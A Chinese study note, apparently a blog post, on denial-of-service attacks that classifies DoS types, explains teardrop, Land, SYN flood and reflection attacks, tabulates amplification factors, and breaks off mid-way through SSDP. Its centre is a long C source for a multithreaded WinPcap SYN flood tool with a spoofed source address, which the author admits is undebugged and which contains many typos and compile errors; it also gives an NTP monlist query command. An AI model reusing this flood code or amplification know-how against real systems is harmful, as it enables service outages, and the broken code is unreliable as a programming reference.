小白网管进修笔记——拒绝服务攻击
拒绝服务攻击,Denial of Service,DoS
一、多对一对目标发起拒绝服务攻击:分布式拒绝服务攻击(Distributed Denial of Service,DDoS)
分类:
1)按目标:结点型(主机型 和 应用型)、网络连接型
2)按攻击方式:资源破坏型、物理破坏型、服务终止型
3)按受害者:服务器端、客户端
4)直接、间接
5)属类:攻击静态属性(针对基本属性,如控制方式、通信方式、原理、协议等)、攻击动态属性(目标、时间、源地址等动态改变的属性)、攻击交互属性(攻击与被攻击双向存在交互的,如目标对攻击的检测能力等)
6)舞厅分类:舞伴类(与目标通信)、风暴类(发送大量数据阻断通信)、陷阱类(仅干扰目标正常通信)、介入类(切断正常用户到目标的通信,如修改DNS隐匿目标)
7)攻击机制:剧毒(杀手)包型(针对目标系统/应用漏洞发送畸形包以至目标处理过程中崩溃,对本机算力、带宽等要求极低)、风暴型(发送大量包以耗尽系统/带宽资源)、重定向型(通过修改ARP表项或DNS缓存,重定向目标的进出包)
二、剧毒包型:
早期TCP/IP协议栈存在不少漏洞,导致此类攻击流行。目前已较少出现。
1、碎片攻击:又称泪滴攻击,利用低版本NT和Linux处理IP分片漏洞,向目标发送分片偏移地址异常的UDP引起目标崩溃或重启。
2、Ping of Death:发送超长的PING包。目前大多数系统已限制Ping包长度,几乎没用
3、Land:不断构造TCP SYN包,源和目的IP都是目标的IP,目标接到后会完成握手过程创建空连接,直到连接用完。攻击前提,端口状态为打开,避免目标发TCP RST终止三次握手过程
4、循环攻击:利用两个都能产生输出的端口,连接起来,相互作为输入和输出,诱发大量数据包导致拒绝服务(也算是风暴型攻击)
三、风暴型:
1、整个攻击过程:针对缓存溢出漏洞或系统安全配置漏洞,拿下一个或多个系统的控制权,安装DoS管理Handler;再次扫描拿下另一系统,安装DoS Agent;由Handler与Agent加密隐匿通信,指挥Agent对目标发起攻击。攻击使用的网络分组一般有以下几种:
1)TCP floods,发送SYN、ACK、RST,尤其是SYN诱发目标为TCP连接分配内存。如Trinoo工具
2)ICMPEcho(Ping floods)
3)UDP floods,能够方便的伪造源地址,发送诸如NTP、SSDP、DNS等UDP包
4)应用层协议,如HTTP/HTTPS、NTP、SSDP、DNS、SNMP
攻击工具一般综合多种分组,同时改变源IP、源目端口或者其它头部字段,以达到各种便利。利用几点达成目的:1)TCP/IP漏洞;2)Best-Effort服务,不识别攻击流;3)没有认证机制,易被IP欺骗;4)数据包不易追踪出处;5)带宽及系统资源有限。风暴型分两种,直接风暴(控制主机向目标发起)、反射
2、直接型:
1)SYN Flood:伪造源地址向目标发送大量TCP SYN,但对目标的TCP SYN+ACK不作应答,诱使目标不断重试并SYN Timeout后丢弃半连接。一般超过1024个半连接后,不再接受新的连接请求。一般针对Web服务器。参考以下代码(代码还没经过调试):
/*
*====================================
*基于Winpcap的多线程SYN Flood
*vc6+winpcap SDK
*====================================
*/
#define WIN32_LEAN_AND_MEAN
#define _WSPIAPI_COUNTOF
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <pcap.h>
#include <packet32.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wpcap.lib")
#pragma comment(lib,"packet.lib")
//目标的IP及端口
#define SYN_DEST_IP "192.168.1.14"
#define SYN_DEST_PORT 80
//伪装成的IP及MAC
#define FAKE_IP
#define FAKE_MAC
//内存对齐1
#pragma pack(1)
//ETH首部
typedef struct et_header
{
unsigned chareh_dst[6]; //目的MAC
unsigned chareh_src[6]; //源MAC
unsigned shorteh_type; //协议类型
}ET_HEADER;
//IP首部
typedef struct ip_hdr
{
unsigned charh_verlen; //版本&首部长度
unsigned chartos; //区分服务
unsigned shorttotal_len; //总长度
unsigned shortident; //标识
unsignet shortfrag_and_flags; //3位标志&13位片偏移
unsigned charttl; //生存时间
unsigned charproto; //协议
unsigned shortchecksum; //首部校验和
unsigned intsourceIP; //源IP
unsigned intdestIP; //目的IP
}IP_HEADER;
//TCP首部
typedef struct tcp_hdr
{
unsigned shortth_sport; //16位源端口
unsigned shortth_dport; //16位目的端口
unsigned intth_seq; //32位序列号
unsigned intth_ack; //32位确认号
unsigned shortth_data_flag; //16位标志号
unsigned shortth_win; //16位窗口大小
unsigned shortth_sum; //16位校验和
unsigned shortth_urp; //16位紧急数据偏移量
unsigned intoption[OPTION_LENTH];
}TCP_HEDER;
//TCP伪首部
typedef struct psd_hdr
{
unsigned long saddr; //源地址
unsigned logn daddr; //目的地址
char mbz;
char ptcl; //协议类型
unsigned shorttcpl; //TCP长度
}PSD_HEADER;
//最终SYN包结构
typedef struct _SYN_PACKET
{
ET_HEADER eth; //以太网首部
IP_HEADER ph; //IP首部
TCP_HEADER tcph; //TCP首部
}SYN_PACKET;
#pragma pack()
//传递给线程的参数体
typedef struct _PARAMETERS
{
unsigned int srcIP;
unsigned int dstIP;
unsigned shortstPort;
unsigned char * srcmac;
unsigned char dstmac[6];
pcap_t* adhandle;
}PARAMETERS,*LPPARAMETERS;
//获取网卡的MAC
unsigned char* GetSelfMac(char* pDevName)
{
static u_char mac[6];
memset(mac,0,sizeof(mac));
LPADAPTER lpAdapter=PacketOpenAdapter(pDevName);
if(!lpAdapter || (lpAdater->hFile ==INV ALID_HANDLE_VALUE))
{
return NULL;
}
PRACKET_OID_DATA OidData =
(PRACKET_OID_DATA)malloc(6+sizeof(PACKET_OID_DATA));
if(OidData==NULL)
{
PacketCloseAdapter(lpAdapter);
return NULL;
}
OidData->Oid=OID_802_3_CURRENT_ADDRESS;
OidData->Length=6;
memset(OidData->Data,0,6);
BOOLEAN Status=PacketRequest(lpAdapter,FALSE,OidData);
if(Status)
{
memcpy(mac,(u_char*)(OidData->Data),6);
}
free(OidData);
PacketCloseAdapter(lpAdapter);
return mac;
}
//计算校验和
unsigned short CheckSum(unsigned short * buffet,int size)
{
unsigned long cksum=0;
while(size>1)
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if(size)
{
cksum += *(unsigned char *)buffer;
}
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum>>16);
return (unsigned short) (~cksum);
}
//封装ARP请求包
void BuildSYNPacket(SYN_PACKET &packet,
unsigned char* source_mac,
unsigned char* dest_mac,
unsigned long srcIp,
unsigned long destIp,
unsigned short dstPort)
{
PSD_HEADER PsdHeader;
//定义ETH首部
memcpy(packet.eth.eh_dst,dest_mac,6);
memcpy(packet.eth.eh_src,source_mac,6);
packet.eth.eh_type=htons(0x0800); //定义协议类型0x0800
//定义IP首部
packet.iph.h_verlen=0;
packet.iph.h_verlen=((4<<4)|sizeof(IP_HEADER)/sizeof(unsigned int));
packet.iph.tos=0
packet.iph.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
packet.iph.ident=1;
packet.iph.frag_and_flags=htons(1<<14);
packet.iph.ttl=128;
packet.iph.proto=IPPROTO_TCP;
packet.iph.checksum=0;
packet.iph.sourceIP=srcIp;
packet.iph.destIP=destIp;
//定义TCP首部
packet.tcph.th_sport=htons(rand()%60000+1024);
packet.tcph.th_dport=htons(dstPort);
packet.tcph.th_seq=htonl(rand()%900000000+100000);
packet.tcph.th_ack=0;
packet.tcph.th_data_flag=0;
packet.tcph.th_data_flag=(11<<4|2<<8);
packet.tcph.th_win=htons(512);
packet.tcph.th_sum=0;
packet.tcph.th_urp=0;
packet.tcph.option[0]=htonl(0x020405B4);
packet.tcph.option[1]=htonl(0x01030303);
packet.tcph.option[2]=htonl(0x0101080A);
packet.tcph.option[3]=htonl(0x00000000);
packet.tcph.option[4]=htonl(0x00000000);
packet.tcph.option[5]=htonl(0x01010402);
//构造伪头部
PsdHeader.saddr=srcIp;
psdHeader.daddr=packet.iph.destIP;
PsdHeader.mbz=0;
PsdHeader.ptcl=IPPROTO_TCP;
PsdHeader.tcpl=htons(sizeof(TCP_HEADER));
BYTE Buffer[sizeof(PsdHeader)+sizeof(TCP_HEADER)]={0};
memcpy(Buffer,&PsdHeader,sizeof(PsdHeader));
memcpy(Buffer+sizeof(PsdHeader),&packet.tcph,sizeof(TCP_HEADER));
packet.tcph.th_sum=CheckSum((unsigned short *)Buffer,sizeof(PsdHeader)+sizeof(TCP_HEADER));
memset(Buffer,0,sizeof(Buffer));
memcpy(Buffer,&packet.iph,sizeof(IP_HEADER));
packet.iph.checksum=CheckSum((unsigned short *)Buffer,sizeof(IP_HEADER));
return;
}
//多线程发包
DWORD WINAPI SYNFloodThread(LPVOID lp)
{
PARAMETERS param;
param=*((LPPARAMETERS)lp);
Sleep(10);
while(true)
{
SYN_PACKET packet;
BuildSYNPacket(packet,param.srcmac,param.dstmac,
param.srcIP,param.dstIP,param.dstPort);
if(pacp_sendpacket(param.adhandle,
(const unsigned char*)&packet,
sizeof(packet))==-1)
{
fprintf(stderr,"pacp_sendpacket error.\n");
}
}
return 1;
}
int main(int argc,char* argv[])
{
unsigned long fakeIp=inet_addr(FAKE_IP); //要伪装成哪个IP
if(fakeIp==INADDR_NONE)
{
fprintf(stderr,"Invalid IP:%s\n",FAKE_IP);
return -1;
}
unsigned long destIp=inet_addr(SYN_DEST_IP); //目的IP
if(destIp==INADDR_NONE)
{
fprintf(stderr,"Invalid IP:%s\n",SYN_DEST_IP);
return -1;
}
unsigned short dstPort=SYN_DEST_PORT; //目的端口
if(dstPort<0||dstPort>65535)
{
fprintf(stderr,"InvalidPort:%d\n",SYN_DEST_PORT);
return -1;
}
pcap_if_t * alldevs; //全部网卡列表
pcap_if_t * d; //一个网卡
pcap_addr_t * pAddr; //网卡地址
char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区
if(pcap_findalldevs(&alldevs,errbuf)==-1) //获取本机网卡列表
{
fprintf(stderr,"Error in pcab_findalldevs:%s\n",errbuf);
exit(1);
}
int i=0;
for(d=alldevs;d;d=d->next)
{
printf("%d",++i);
if(d->description)
printf(". %s\n",d->description);
else
printf(". Nodescription available\n");
}
if(i==0)
{
fprintf(stderr,"\nNo interfaces found! \n");
return -1;
}
printf("Enter the interface number (1-%d):",i);
int inum; //用户选择的网卡序号
scanf("%d",&inum);
if(inum<1||inum>i)
{
printf("\nInterface number out of range. \n");
pcap_freealldevs(alldevs);
return -1;
}
HANDLE threadhandle[MAXTHREAD];
PARAMETERS param;
//设置目的MAC
memcpy(param.dstmac,FAKE_MAC,6);
//填充线程的参数体
param.dstIP=destIp;
param.srcIP=fakeIp;
param.dstPort=dstPort;
//移动指针到用户选择的网卡
for(d=alldevs,i=0;i<inum-1;d=d->next,i++)
param.srcmac=GetSelfMac(d->name);
printf("发送SYN包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X)试图伪装成%s\n",
param.srcmac[0],
param.srcmac[1],
param.srcmac[2],
param.srcmac[3],
param.srcmac[4],
param.srcmac[5],FAKE_IP);
if((param.adhandle=pcap_open_live(d->name,65536,0,1000,errbuf))==NULL)
{
fprintf(stderr,"\nUnable to open adapter. \n");
pcap_freealldevs(alldevs);
return -1;
}
pAddr=d->addresses;
while(pAddr)
{
//创建多线程
for(int i=0;i<MAXTHREAD;i++)
{
threadhandle[i]=CreateThread(NULL,0,SYNFloodThread,(void *)¶m,0,NULL);
if(!threadhandle)
{
printf("CreateThread Error : %d\n",GetLastError());
}
Sleep(100);
}
pAddr=pAddr->next;
}
printf("退出请输入Q或者q!\n");
char cQuit;
do {
cQuit=getchar();
}while(cQuit !='q' && cQuit !='Q');
return 0;
}
2)Ping风暴:利用“大量”主机,向目标发起ICMP,硬生生拖死目标
3)TCP连接耗尽型:与SYN Flood攻击类似,也是发送TCP SYN,区别在于此方式完成三次握手,建立起TCP,并且通过大量的此类空连接完成攻击。优点在于不用像SYN Flood那样不停向目标发起连接请求,只需空连接到一定数量即可达到目的了。SYN Flood一旦停下来后,目标将会恢复,属可控操作。
4)HTTP风暴:向目标发起合法的HTTP请求,在数据传输过程中占满带宽或者占用所有连接。缺点在于需要真实IP,工具为一整个僵尸网络或者大量僵尸主机。DDoS初期,有种防御手段Collapsar抗拒绝服务攻击系统,与之对应的手段为HTTP CC(也称HTTP代理攻击),原理如上。主要针对网页中的asp / php / jsp / cgi。攻击过程中,使用代理能在指令发出后隐藏自身、甚至绕过防火墙,同时代理能保持连接。
3、反射型:不直接向目标发数据包,而通过中间主机(反射机)间接向目标发送大量包。比如利用目标的源地址向另一台或多台高速、高带宽服务器发送TCP SYN/ICMP Echo Request/UDP等,利用对方的回包进行攻击。优点在于无需大量僵尸网络,隐蔽、难追踪。反射结点也难以识别发起源是否恶意攻击。通常选用应答数据包远大于请求包的应用层协议实现攻击,如DNS、NTP、Chargen等。
| 协议 | 响应放大倍数 | 请求包 |
| DNS | 28-54 | DNSQuery (QR=0) |
| NTP | 206-556 | Monlist request |
| SSDP | 30.8 | Search request |
| Chargen | 358.8 | Character Generation Request |
| SNMPv2 | 6.3 | GetBulk request |
| NetBIOS | 3.8 | Name Resolution |
| QOTD | 140.3 | Quote request |
| BitTorrent | 3.8 | File search |
| Kad | 16.3 | Peer list exchange |
| Quake Network Protocol | 63.9 | Server information exchange |
| Steam Protocol | 5.5 | Server information exchange |
反射型直接或者间接利用了协议的无连接特性,使得源IP易被伪造,比较常用的是NTP、DNS、SSDP等:
1)NTP反射式:
Network Time Protocol,最新版本v4,采用C/S模型,用的UDP协议通过123端口进行通信,提供了monlist请求功能(MON_GETLIST)。当S收到monlist请求,将返回与S进行过时间同步的最后600个客户的IP地址,响应包每6个IP一组最多返回100个响应包(看到这里,不禁想起,不是可以用来查找网内活跃主机了吗?)linux系统下,“ntpdc -n -c monlist x.x.x.x | wc -l”命令向服务器发送monlist请求。(实验了一下,我所处网络下面的S大多已经不响应monlist请求了)
算了一下,假如找到20万台合条件的S,每秒一个请求包:
1包/s*200000主机*100回包*482字节/回包*8bit/字节~77Gbit/s
攻击过程如下:扫描(找开放123以及NTP的S),利用僵尸网络伪装成目标向S发送monlist请求
防御:网管侧-把NTP独立置于内网,禁用monlist功能或者通过重定向来限定某些源。用户侧则是短时间检测到大量monlist响应,呃,好像只能联系网管操作了吧?或者快速启用备用出口IP和MAC?
2)SSDP反射式:
UPnP通用即插即用协议,包括SSDP(Simple Service Discovery Protocol,简单服务发现)、GENA(Generic Event Notivication Architecture,通用事件通知结构)、SOAP(Simple Object Access Protocol,简单对象访问协议)和XML(Extensible Markup Language,可扩张标记语言),基于IP协议,保证独立于具体的网络传输物理介质。SSDP发现设备,SOAP使设备互操作,XML统一描述设备与服务,HTTP支撑与设备信息交互。
当一个终端设备入网,向特定的多播地址239.255.255.250的SSDP端口(UDP 1900)使用M-SEARCH方法发送“ssdp:discover”消息。(未完待续)

浙公网安备 33010602011771号